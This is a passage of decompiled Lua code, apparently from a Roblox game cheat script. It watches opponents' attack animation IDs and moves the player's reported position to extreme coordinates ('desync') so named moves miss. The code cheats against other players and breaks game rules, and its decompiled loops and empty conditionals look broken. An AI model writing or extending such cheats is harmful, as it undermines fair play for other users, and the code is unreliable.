local v1197 = tick()
while true do
if antidebug then
warn('[ANTI DEBUG] 4')
end
if (u1091.Position - (u1028.CFrame * CFrame.new(0, 0, -25)).Position).Magnitude <= 25 and not isCountering(u1092) then
break
end
task.wait()
if tick() >= v1197 + 0.75 then
getgenv().desync = nil
return
end
end
while true do
if antidebug then
warn('[ANTI DEBUG] 4')
end
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if (u1091.Position - (u1028.CFrame * CFrame.new(0, 0, -20)).Position).Magnitude > 25 or (tick() >= v1197 + 0.75 or isCountering(u1092)) then
getgenv().desync = nil
end
end
end)
end
if _AnimationId2:match('16597912086') and rawget(Options.AntiMoves_Tatsumaki.Value, 'Anti Expulsive Push') then
local v1198 = tick()
while true do
if true then
if antidebug then
warn('[ANTI DEBUG] 5')
end
if (u1091.Position - u1028.Position).Magnitude > 15 or isCountering(u1092) then
end
while true do
if antidebug then
warn('[ANTI DEBUG] 5')
end
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if (u1091.Position - u1028.Position).Magnitude > 15 or (tick() >= v1198 + 0.75 or isCountering(u1092)) then
getgenv().desync = nil
end
end
end
task.wait()
if tick() >= v1198 + 0.75 then
getgenv().desync = nil
end
end
end
if _AnimationId2:match('13813955149') and Toggles.AntiMoves_Trashcan.Value then
if (u1091.Position - u1028.Position).Magnitude <= 25 then
if _Value15 then
bdcancel()
repeat
task.wait()
until tick() >= start + 2
else
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait(0.75)
getgenv().desync = nil
end
end
local u1199 = nil
u1199 = u442.ChildAdded:Connect(function(p1200)
if p1200:IsA('MeshPart') and p1200.Name:lower() == 'trash can' then
u1199:Disconnect()
local v1201 = tick()
while true do
if true then
if antidebug then
warn('[ANTI DEBUG] 6')
end
if (u1091.Position - p1200.Position).Magnitude > 25 then
end
if _Value15 then
bdcancel()
task.wait()
if tick() < v1201 + 2 then
end
end
while true do
if antidebug then
warn('[ANTI DEBUG] 6')
end
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if (u1091.Position - p1200.Position).Magnitude > 25 or tick() >= v1201 + 2 then
getgenv().desync = nil
end
end
end
task.wait()
if tick() >= v1201 + 2 then
getgenv().desync = nil
end
end
else
return
end
end)
end
if _AnimationId2:match('11365563255') and u1027:GetAttribute('Ulted') ~= nil then
MoveNotify(p1018, 'Table Flip')
task.delay(1, function()
if u1027:FindFirstChild('AbsoluteImmortal', true) and u1027:FindFirstChild('Freeze') then
task.wait(3)
if not rawget(Options.AntiMoves_Saitama.Value, 'Anti Table Flip') then
end
local v1202 = tick()
while true do
if antidebug then
warn('[ANTI DEBUG] 7')
end
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if tick() >= v1202 + 2.5 then
getgenv().desync = nil
end
end
else
return
end
end)
end
if _AnimationId2:match('12983333733') and u1027:GetAttribute('Ulted') ~= nil then
MoveNotify(p1018, 'Serious Punch')
task.delay(1, function()
if u1027:FindFirstChild('AbsoluteImmortal', true) and u1027:FindFirstChild('Freeze') then
task.wait(4.25)
if not rawget(Options.AntiMoves_Saitama.Value, 'Anti Serious Punch') then
end
local v1203 = tick()
while true do
if antidebug then
warn('[ANTI DEBUG] 8')
end
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if tick() >= v1203 + 2 then
getgenv().desync = nil
end
end
else
return
end
end)
end
if _AnimationId2:match('13927612951') and u1027:GetAttribute('Ulted') ~= nil then
MoveNotify(p1018, 'Omni-Directional Punch')
if not rawget(Options.AntiMoves_Saitama.Value, 'Anti Omni-Directional Punch') then
end
local v1204 = tick()
while true do
if true then
if antidebug then
warn('[ANTI DEBUG] 9')
end
if (u1091.Position - u1028.Position).Magnitude > 150 then
end
while true do
if antidebug then
warn('[ANTI DEBUG] 9')
end
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if (u1091.Position - u1028.Position).Magnitude > 150 or tick() >= v1204 + 2.5 then
getgenv().desync = nil
end
end
end
task.wait()
if tick() >= v1204 + 2.5 then
getgenv().desync = nil
end
end
end
if _AnimationId2:match('14719290328') and rawget(Options.AntiMoves_MetalBat.Value, 'Anti Savage Tornado') then
if (u1091.Position - u1028.Position).Magnitude <= 50 then
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
end
task.wait(0.5)
if p1088.IsPlaying then
local v1205 = tick()
if (u1091.Position - u1028.Position).Magnitude > 50 then
getgenv().desync = nil
end
while true do
if true then
if antidebug then
warn('[ANTI DEBUG] 10')
end
if (u1091.Position - u1028.Position).Magnitude <= 50 and not isDeathCountering(u1090) then
while true do
if antidebug then
warn('[ANTI DEBUG] 10')
end
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if (u1091.Position - u1028.Position).Magnitude > 50 or (tick() >= v1205 + 3.5 or isDeathCountering(u1090)) then
getgenv().desync = nil
end
end
end
end
task.wait()
if tick() >= v1205 + 3.5 then
getgenv().desync = nil
end
end
end
if not p1088.IsPlaying then
getgenv().desync = nil
end
end
if _AnimationId2:match('17275150809') and rawget(Options.AntiMoves_Tatsumaki.Value, 'Anti Terrible Tornado') then
local v1206 = tick()
while true do
if true then
if antidebug then
warn('[ANTI DEBUG] 11')
end
if (u1091.Position - u1028.Position).Magnitude > 50 then
end
while true do
if antidebug then
warn('[ANTI DEBUG] 11')
end
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if (u1091.Position - u1028.Position).Magnitude > 50 or tick() >= v1206 + 1 then
getgenv().desync = nil
end
end
end
task.wait()
if tick() >= v1206 + 1 then
getgenv().desync = nil
end
end
end
if _AnimationId2:match('15128849047') and rawget(Options.AntiMoves_MetalBat.Value, 'Anti Death Blow') then
MoveNotify(p1018, 'Death Blow')
local v1207 = tick()
while true do
if true then
if antidebug then
warn('[ANTI DEBUG] 12')
end
if (u1091.Position - u1028.Position).Magnitude > 100 then
end
while true do
if antidebug then
warn('[ANTI DEBUG] 12')
end
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if (u1091.Position - u1028.Position).Magnitude > 100 or (isAnimPlaying(u1029, '15123665491') or tick() >= v1207 + 3) then
getgenv().desync = nil
end
end
end
task.wait()
if isAnimPlaying(u1029, '15123665491') or tick() >= v1207 + 3 then
getgenv().desync = nil
end
end
end
if _AnimationId2:match('13376869471') and rawget(Options.AntiMoves_Sonic.Value, 'Anti Flash Strike') then
local _Part14 = Instance.new('Part', _Workspace)
_Part14.Anchored = true
_Part14.Size = Vector3.new(10, 7.5, 60)
_Part14.CanCollide = false
_Part14.Transparency = 0
local u1209 = false
local v1211 = _Part14.Touched:Connect(function(p1210)
if p1210 == u1091 then
u1209 = true
end
end)
local v1213 = _Part14.TouchEnded:Connect(function(p1212)
if p1212 == u1091 then
u1209 = false
end
end)
local v1214 = tick()
local v1215 = u1209
while true do
if true then
if antidebug then
warn('[ANTI DEBUG] FLASH STRIKE')
end
_Part14.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part14.Size.Z / 2)
if v1215 == true and not isCountering(u1092) then
while true do
if antidebug then
warn('[ANTI DEBUG] FLASH STRIKE')
end
_Part14.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part14.Size.Z / 2)
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if v1215 == false or (tick() >= v1214 + 0.8 or (not p1088.IsPlaying or isCountering(u1092))) then
getgenv().desync = nil
end
end
end
end
_RenderStepped:Wait()
if tick() >= v1214 + 0.8 or not p1088.IsPlaying then
getgenv().desync = nil
if _Part14 then
_Part14:Destroy()
end
v1211:Disconnect()
v1213:Disconnect()
end
end
end
if _AnimationId2:match('13294790250') and rawget(Options.AntiMoves_Sonic.Value, 'Anti Whirlwind Kick') then
task.wait(0.5)
local v1216 = tick()
while true do
if true then
if antidebug then
warn('[ANTI DEBUG] WHIRLWIND KICK')
end
if (u1091.Position - (u1028.CFrame * CFrame.new(0, 0, -2.5)).Position).Magnitude <= 10 and not isCountering(u1092) then
while true do
if antidebug then
warn('[ANTI DEBUG] WHIRLWIND KICK')
end
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if (u1091.Position - (u1028.CFrame * CFrame.new(0, 0, -2.5)).Position).Magnitude > 10 or (tick() >= v1216 + 0.75 or isCountering(u1092)) then
getgenv().desync = nil
end
end
end
end
task.wait()
if tick() >= v1216 + 0.75 then
getgenv().desync = nil
end
end
end
if _AnimationId2:match('13632347366') and rawget(Options.AntiMoves_Sonic.Value, 'Anti Twinblade Rush') then
local v1217 = tick()
while true do
if true then
if antidebug then
warn('[ANTI DEBUG] 13')
end
if (u1091.Position - u1028.Position).Magnitude <= 75 and not isDeathCountering(u1090) then
while true do
if antidebug then
warn('[ANTI DEBUG] 13')
end
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if (u1091.Position - u1028.Position).Magnitude > 75 or (not p1088.IsPlaying or (tick() >= v1217 + 1.75 or isDeathCountering(u1090))) then
getgenv().desync = nil
end
end
end
end
task.wait()
if not p1088.IsPlaying or tick() >= v1217 + 1.75 then
getgenv().desync = nil
end
end
end
if _AnimationId2:match('13881335713') and rawget(Options.AntiMoves_Sonic.Value, 'Anti Fourfold Flashstrike') then
task.wait(0.75)
if not p1088.IsPlaying then
end
local _Part15 = Instance.new('Part', _Workspace)
_Part15.Anchored = true
_Part15.Size = Vector3.new(35, 5, 60)
_Part15.CanCollide = false
_Part15.Transparency = 1
local u1219 = false
local v1221 = _Part15.Touched:Connect(function(p1220)
if p1220 == u1091 then
u1219 = true
end
end)
local v1223 = _Part15.TouchEnded:Connect(function(p1222)
if p1222 == u1091 then
u1219 = false
end
end)
local v1224 = tick()
local v1225 = u1219
while true do
if true then
if antidebug then
warn('[ANTI DEBUG] FOURFOLD FLASHSTRIKE')
end
_Part15.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part15.Size.Z / 2)
if v1225 == true and not isDeathCountering(u1090) then
while true do
if antidebug then
warn('[ANTI DEBUG] FOURFOLD FLASHSTRIKE')
end
_Part15.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part15.Size.Z / 2)
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if v1225 == false or (tick() >= v1224 + 0.75 or (not p1088.IsPlaying or isDeathCountering(u1090))) then
getgenv().desync = nil
end
end
end
end
_RenderStepped:Wait()
if tick() >= v1224 + 0.75 or not p1088.IsPlaying then
getgenv().desync = nil
if _Part15 then
_Part15:Destroy()
end
v1221:Disconnect()
v1223:Disconnect()
end
end
end
if _AnimationId2:match('13723174078') and rawget(Options.AntiMoves_Sonic.Value, 'Anti Carnage') then
task.wait(0.5)
if not p1088.IsPlaying then
end
local _Part16 = Instance.new('Part', _Workspace)
_Part16.Anchored = true
_Part16.Size = Vector3.new(35, 50, 250)
_Part16.CanCollide = false
_Part16.Transparency = 1
local u1227 = false
local v1229 = _Part16.Touched:Connect(function(p1228)
if p1228 == u1091 then
u1227 = true
end
end)
local v1231 = _Part16.TouchEnded:Connect(function(p1230)
if p1230 == u1091 then
u1227 = false
end
end)
local v1232 = tick()
local v1233 = u1227
while true do
if true then
if antidebug then
warn('[ANTI DEBUG] CARNAGE')
end
_Part16.CFrame = u1028.CFrame * CFrame.new(0, -_Part16.Size.Y / 2, -_Part16.Size.Z / 2)
if v1233 == true and not isDeathCountering(u1090) then
while true do
if antidebug then
warn('[ANTI DEBUG] CARNAGE')
end
_Part16.CFrame = u1028.CFrame * CFrame.new(0, -_Part16.Size.Y / 2, -_Part16.Size.Z / 2)
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if v1233 == false or (tick() >= v1232 + 2.5 or (not p1088.IsPlaying or isDeathCountering(u1090))) then
getgenv().desync = nil
end
end
end
end
_RenderStepped:Wait()
if tick() >= v1232 + 2.5 or not p1088.IsPlaying then
getgenv().desync = nil
if _Part16 then
_Part16:Destroy()
end
v1229:Disconnect()
v1231:Disconnect()
end
end
end
if _AnimationId2:match('14721837245') and rawget(Options.AntiMoves_Genos.Value, 'Anti Thunder Kick') then
local v1234 = tick()
while true do
if true then
if antidebug then
warn('[ANTI DEBUG] 14')
end
if (u1091.Position - u1028.Position).Magnitude <= 25 and not isCountering(u1092) then
while true do
if antidebug then
warn('[ANTI DEBUG] 14')
end
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if (u1091.Position - u1028.Position).Magnitude > 25 or (not p1088.IsPlaying or (tick() >= v1234 + 1.5 or isCountering(u1092))) then
getgenv().desync = nil
end
end
end
end
task.wait()
if tick() >= v1234 + 1.5 then
task.wait(1)
local v1235 = tick()
while true do
if true then
if antidebug then
warn('[ANTI DEBUG] 15')
end
if (u1091.Position - u1028.Position).Magnitude > 100 then
end
while true do
if antidebug then
warn('[ANTI DEBUG] 15')
end
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if (u1091.Position - u1028.Position).Magnitude > 100 or (not p1088.IsPlaying or tick() >= v1235 + 1.5) then
getgenv().desync = nil
end
end
end
task.wait()
if tick() >= v1235 + 1.5 then
getgenv().desync = nil
end
end
end
end
end
if _AnimationId2:match('13083332742') and rawget(Options.AntiMoves_Genos.Value, 'Anti Flamewave Cannon') then
task.wait(1)
local _Part17 = Instance.new('Part', _Workspace)
_Part17.Anchored = true
_Part17.Size = Vector3.new(12.5, 5, 1000)
_Part17.CanCollide = false
_Part17.Transparency = 1
local u1237 = false
local v1239 = _Part17.Touched:Connect(function(p1238)
if p1238 == u1091 then
u1237 = true
end
end)
local v1241 = _Part17.TouchEnded:Connect(function(p1240)
if p1240 == u1091 then
u1237 = false
end
end)
task.delay(0.25, function()
_Part17.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part17.Size.Z / 2)
end)
local v1242 = tick()
local v1243 = _Part17
local v1244 = u1237
while true do
if true then
if antidebug then
warn('[ANTI DEBUG] FLAMEWAVE CANNON')
end
if v1244 == true and not isDeathCountering(u1090) then
while true do
if antidebug then
warn('[ANTI DEBUG] FLAMEWAVE CANNON')
end
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if v1244 == false or (tick() >= v1242 + 4 or (not p1088.IsPlaying or isDeathCountering(u1090))) then
getgenv().desync = nil
end
end
end
end
_RenderStepped:Wait()
if tick() >= v1242 + 4 or not p1088.IsPlaying then
getgenv().desync = nil
if v1243 then
v1243:Destroy()
end
v1239:Disconnect()
v1241:Disconnect()
end
end
end
if _AnimationId2:match('13146710762') and rawget(Options.AntiMoves_Genos.Value, 'Anti Incinerate') then
task.wait(3.25)
if not u1027:FindFirstChild('ForceField') then
end
local _Part18 = Instance.new('Part', _Workspace)
_Part18.Anchored = true
_Part18.Size = Vector3.new(100, 75, 400)
_Part18.CanCollide = false
_Part18.Transparency = 1
local _Part19 = Instance.new('Part', _Workspace)
_Part19.Anchored = true
_Part19.Size = Vector3.new(100, 75, 400)
_Part19.CanCollide = false
_Part19.Transparency = 1
local _Part20 = Instance.new('Part', _Workspace)
_Part20.Anchored = true
_Part20.Size = Vector3.new(100, 75, 400)
_Part20.CanCollide = false
_Part20.Transparency = 1
local u1248 = false
local u1249 = false
local u1250 = false
local v1251 = {}
table.insert(v1251, _Part18.Touched:Connect(function(p1252)
if p1252 == u1091 then
u1248 = true
end
end))
table.insert(v1251, _Part18.TouchEnded:Connect(function(p1253)
if p1253 == u1091 then
u1248 = false
end
end))
table.insert(v1251, _Part19.Touched:Connect(function(p1254)
if p1254 == u1091 then
u1249 = true
end
end))
table.insert(v1251, _Part19.TouchEnded:Connect(function(p1255)
if p1255 == u1091 then
u1249 = false
end
end))
table.insert(v1251, _Part20.Touched:Connect(function(p1256)
if p1256 == u1091 then
u1250 = true
end
end))
table.insert(v1251, _Part20.TouchEnded:Connect(function(p1257)
if p1257 == u1091 then
u1250 = false
end
end))
_Part18.CFrame = u1028.CFrame * CFrame.new(50, 0, -_Part18.Size.Z / 2 + 2.5) * CFrame.Angles(0, math.rad(-15), 0)
_Part19.CFrame = u1028.CFrame * CFrame.new(-50, 0, -_Part19.Size.Z / 2 + 2.5) * CFrame.Angles(0, math.rad(15), 0)
_Part20.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part20.Size.Z / 2 + 2.5)
local v1258 = tick()
local v1259 = u1250
local v1260 = u1249
local v1261 = u1248
while true do
if true then
if antidebug then
warn('[ANTI DEBUG] 17')
end
if (v1261 or (v1260 or v1259)) and not isDeathCountering(u1090) then
while true do
if antidebug then
warn('[ANTI DEBUG] 17')
end
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if not (v1261 or (v1260 or v1259)) or (tick() >= v1258 + 6 or isDeathCountering(u1090)) then
getgenv().desync = nil
end
end
end
end
_RenderStepped:Wait()
if tick() >= v1258 + 6 or not p1088.IsPlaying then
_Part18:Destroy()
_Part19:Destroy()
_Part20:Destroy()
local v1262, v1263, v1264 = pairs(v1251)
while true do
local v1265
v1264, v1265 = v1262(v1263, v1264)
if v1264 == nil then
break
end
v1265:Disconnect()
end
getgenv().desync = nil
end
end
end
if _AnimationId2:match('17278415853') and (u1027:GetAttribute('Character') == 'Esper' and rawget(Options.AntiMoves_Tatsumaki.Value, 'Anti Terrible Tornado')) then
task.wait(11)
local v1266 = tick()
while true do
if true then
if antidebug then
warn('[ANTI DEBUG] 18')
end
if (u1091.Position - u1028.Position).Magnitude > 100 then
end
while true do
if antidebug then
warn('[ANTI DEBUG] 18')
end
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if (u1091.Position - u1028.Position).Magnitude > 100 or tick() >= v1266 + 6 then
getgenv().desync = nil
end
end
end
task.wait()
if tick() >= v1266 + 6 then
getgenv().desync = nil
end
end
end
if _AnimationId2:match('12342141464') and rawget(Options.AntiMoves_Garou.Value, 'Anti Garou Ult') then
task.wait(3.5)
local v1267 = tick()
while true do
if true then
if antidebug then
warn('[ANTI DEBUG] 19')
end
if (u1091.Position - u1028.Position).Magnitude > 125 then
end
while true do
if antidebug then
warn('[ANTI DEBUG] 19')
end
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if (u1091.Position - u1028.Position).Magnitude > 125 or tick() >= v1267 + 1.25 then
getgenv().desync = nil
end
end
end
task.wait()
if tick() >= v1267 + 1.25 then
getgenv().desync = nil
end
end
end
if _AnimationId2:match('12460977270') and rawget(Options.AntiMoves_Garou.Value, 'Anti Water Stream Rock Smashing Fist') then
local _Part21 = Instance.new('Part', _Workspace)
_Part21.Anchored = true
_Part21.Size = Vector3.new(12.5, 5, 12.5)
_Part21.CanCollide = false
_Part21.Transparency = 1
local u1269 = false
local v1271 = _Part21.Touched:Connect(function(p1270)
if p1270 == u1091 then
u1269 = true
end
end)
local v1273 = _Part21.TouchEnded:Connect(function(p1272)
if p1272 == u1091 then
u1269 = false
end
end)
local v1274 = tick()
local v1275 = u1269
while true do
if true then
if antidebug then
warn('[ANTI DEBUG] WATER STREAM ROCK SMASHING FIST')
end
_Part21.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part21.Size.Z / 2)
if v1275 == true and not isCountering(u1092) then
while true do
if antidebug then
warn('[ANTI DEBUG] WATER STREAM ROCK SMASHING FIST')
end
_Part21.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part21.Size.Z / 2)
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if v1275 == false or (tick() >= v1274 + 1.85 or (not p1088.IsPlaying or isCountering(u1092))) then
getgenv().desync = nil
end
end
end
end
_RenderStepped:Wait()
if tick() >= v1274 + 1.85 or not p1088.IsPlaying then
getgenv().desync = nil
if _Part21 then
_Part21:Destroy()
end
v1271:Disconnect()
v1273:Disconnect()
end
end
end
if _AnimationId2:match('12463072679') and rawget(Options.AntiMoves_Garou.Value, 'Anti Final Hunt') then
local v1276 = tick()
while true do
if true then
if antidebug then
warn('[ANTI DEBUG] 20')
end
if (u1091.Position - u1028.Position).Magnitude > 25 then
end
while true do
if antidebug then
warn('[ANTI DEBUG] 20')
end
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if (u1091.Position - u1028.Position).Magnitude > 25 or tick() >= v1276 + 0.75 then
getgenv().desync = nil
end
end
end
task.wait()
if tick() >= v1276 + 0.75 then
getgenv().desync = nil
end
end
end
if _AnimationId2:match('14057231976') and rawget(Options.AntiMoves_Garou.Value, 'Anti Rock Splitting Fist') then
local v1277 = tick()
while true do
if true then
if antidebug then
warn('[ANTI DEBUG] 31')
end
if (u1091.Position - u1028.Position).Magnitude > 10 then
end
while true do
if antidebug then
warn('[ANTI DEBUG] 31')
end
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if (u1091.Position - u1028.Position).Magnitude > 10 or tick() >= v1277 + 0.5 then
getgenv().desync = nil
end
end
end
task.wait()
if tick() >= v1277 + 0.5 then
getgenv().desync = nil
task.wait(0.5)
while true do
if true then
if antidebug then
warn('[ANTI DEBUG] 31')
end
if (u1091.Position - u1028.Position).Magnitude <= 10 and not isCountering(u1092) then
while true do
if antidebug then
warn('[ANTI DEBUG] 31')
end
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if (u1091.Position - u1028.Position).Magnitude > 10 or (tick() >= v1277 + 1.75 or isCountering(u1092)) then
getgenv().desync = nil
end
end
end
end
task.wait()
if tick() >= v1277 + 1.75 then
getgenv().desync = nil
end
end
end
end
end
if _AnimationId2:match('13630786846') and rawget(Options.AntiMoves_Garou.Value, 'Anti Crushed Rock') then
local _Part22 = Instance.new('Part', _Workspace)
_Part22.Anchored = true
_Part22.Size = Vector3.new(25, 10, 75)
_Part22.CanCollide = false
_Part22.Transparency = 1
local u1279 = false
local v1281 = _Part22.Touched:Connect(function(p1280)
if p1280 == u1091 then
u1279 = true
end
end)
local v1283 = _Part22.TouchEnded:Connect(function(p1282)
if p1282 == u1091 then
u1279 = false
end
end)
local v1284 = tick()
local v1285 = u1279
while true do
if true then
if antidebug then
warn('[ANTI DEBUG] 21')
end
_Part22.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part22.Size.Z / 2)
if v1285 == true and not isCountering(u1092) then
while true do
if antidebug then
warn('[ANTI DEBUG] 21')
end
_Part22.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part22.Size.Z / 2)
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if v1285 == false or (tick() >= v1284 + 1.5 or (not p1088.IsPlaying or isCountering(u1092))) then
getgenv().desync = nil
end
end
end
end
_RenderStepped:Wait()
if tick() >= v1284 + 1.5 or not p1088.IsPlaying then
getgenv().desync = nil
if _Part22 then
_Part22:Destroy()
end
v1281:Disconnect()
v1283:Disconnect()
end
end
end
if _AnimationId2:match('72451715583225') and rawget(Options.AntiMoves_Garou.Value, 'Anti Crushed Rock') then
local v1286 = tick()
while true do
if true then
if antidebug then
warn('[ANTI DEBUG] 20')
end
if (u1091.Position - u1028.Position).Magnitude > 15 then
end
while true do
if antidebug then
warn('[ANTI DEBUG] 20')
end
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if (u1091.Position - u1028.Position).Magnitude > 15 or tick() >= v1286 + 0.75 then
getgenv().desync = nil
end
end
end
task.wait()
if tick() >= v1286 + 0.75 then
getgenv().desync = nil
end
end
end
if _AnimationId2:match('15391323441') and rawget(Options.AntiMoves_AtomicSamurai.Value, 'Anti Atomic Samurai Ult') then
task.wait(5.5)
local v1287 = tick()
while true do
if true then
if antidebug then
warn('[ANTI DEBUG] 22')
end
if (u1091.Position - u1028.Position).Magnitude > 125 then
end
while true do
if antidebug then
warn('[ANTI DEBUG] 22')
end
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if (u1091.Position - u1028.Position).Magnitude > 125 or tick() >= v1287 + 1 then
getgenv().desync = nil
end
end
end
task.wait()
if tick() >= v1287 + 1 then
getgenv().desync = nil
end
end
end
if _AnimationId2:match('15520132233') and rawget(Options.AntiMoves_AtomicSamurai.Value, 'Anti Sunset') then
local v1288 = tick()
while true do
if true then
if antidebug then
warn('[ANTI DEBUG] 23')
end
if (u1091.Position - u1028.Position).Magnitude <= 50 and not isDeathCountering(u1090) then
while true do
if antidebug then
warn('[ANTI DEBUG] 23')
end
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if (u1091.Position - u1028.Position).Magnitude > 50 or (tick() >= v1288 + 3.3 or (not p1088.IsPlaying or isDeathCountering(u1090))) then
getgenv().desync = nil
end
end
end
end
task.wait()
if tick() >= v1288 + 3.3 or not p1088.IsPlaying then
getgenv().desync = nil
repeat
task.wait()
until tick() >= v1288 + 5.5
while true do
if true then
if antidebug then
warn('[ANTI DEBUG] 23')
end
if (u1091.Position - u1028.Position).Magnitude <= 100 and not isDeathCountering(u1090) then
while true do
if antidebug then
warn('[ANTI DEBUG] 23')
end
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if (u1091.Position - u1028.Position).Magnitude > 100 or (tick() >= v1288 + 6.5 or (not p1088.IsPlaying or isDeathCountering(u1090))) then
getgenv().desync = nil
end
end
end
end
task.wait()
if tick() >= v1288 + 6.5 or not p1088.IsPlaying then
getgenv().desync = nil
end
end
end
end
end
if _AnimationId2:match('15676072469') and rawget(Options.AntiMoves_AtomicSamurai.Value, 'Anti Solar Cleave') then
local _Part23 = Instance.new('Part', _Workspace)
_Part23.Anchored = true
_Part23.Size = Vector3.new(50, 10, 150)
_Part23.CanCollide = false
_Part23.Transparency = 1
local u1290 = false
local v1292 = _Part23.Touched:Connect(function(p1291)
if p1291 == u1091 then
u1290 = true
end
end)
local v1294 = _Part23.TouchEnded:Connect(function(p1293)
if p1293 == u1091 then
u1290 = false
end
end)
local v1295 = tick()
local v1296 = u1290
while true do
if true then
if antidebug then
warn('[ANTI DEBUG] 24')
end
_Part23.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part23.Size.Z / 2)
if v1296 and not isDeathCountering(u1090) then
while true do
if antidebug then
warn('[ANTI DEBUG] 24')
end
_Part23.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part23.Size.Z / 2)
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if not v1296 or (tick() >= v1295 + 2 or (not p1088.IsPlaying or isDeathCountering(u1090))) then
getgenv().desync = nil
end
end
end
end
_RenderStepped:Wait()
if tick() >= v1295 + 2 or not p1088.IsPlaying then
getgenv().desync = nil
if _Part23 then
_Part23:Destroy()
end
v1292:Disconnect()
v1294:Disconnect()
end
end
end
if _AnimationId2:match('16082123712') and rawget(Options.AntiMoves_AtomicSamurai.Value, 'Anti Atomic Slash') then
task.wait(2.5)
local v1297 = tick()
while true do
if true then
if antidebug then
warn('[ANTI DEBUG] 25')
end
if (u1091.Position - u1028.Position).Magnitude > 50 then
end
while true do
if antidebug then
warn('[ANTI DEBUG] 25')
end
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if (u1091.Position - u1028.Position).Magnitude > 50 or tick() >= v1297 + 1.5 then
getgenv().desync = nil
end
end
end
task.wait()
if tick() >= v1297 + 1.5 then
getgenv().desync = nil
end
end
end
if _AnimationId2:match('16057411888') and rawget(Options.AntiMoves_AtomicSamurai.Value, 'Anti Atomic Slash Finisher') then
task.wait(4.25)
local v1298 = tick()
while true do
if true then
if antidebug then
warn('[ANTI DEBUG] 26')
end
if (u1091.Position - u1028.Position).Magnitude > 50 then
end
while true do
if antidebug then
warn('[ANTI DEBUG] 26')
end
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if (u1091.Position - u1028.Position).Magnitude > 50 or tick() >= v1298 + 2 then
getgenv().desync = nil
end
end
end
task.wait()
if tick() >= v1298 + 2 then
getgenv().desync = nil
end
end
end
if _AnimationId2:match('17857788598') and rawget(Options.AntiMoves_Suiryu.Value, 'Anti Whirlwind Drop') then
task.wait(0.65)
if not p1088.IsPlaying then
end
local _Part24 = Instance.new('Part', _Workspace)
_Part24.Anchored = true
_Part24.Size = Vector3.new(35, 2048, 35)
_Part24.CanCollide = false
_Part24.Transparency = 1
local u1300 = false
local v1302 = _Part24.Touched:Connect(function(p1301)
if p1301 == u1091 then
u1300 = true
end
end)
local v1304 = _Part24.TouchEnded:Connect(function(p1303)
if p1303 == u1091 then
u1300 = false
end
end)
local v1305 = tick()
local v1306 = u1300
while true do
if true then
if antidebug then
warn('[ANTI DEBUG] ANTI WHIRLWIND DROP')
end
_Part24.CFrame = u1028.CFrame
if v1306 == true and not isCountering(u1092) then
while true do
if antidebug then
warn('[ANTI DEBUG] ANTI WHIRLWIND DROP')
end
_Part24.CFrame = u1028.CFrame
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
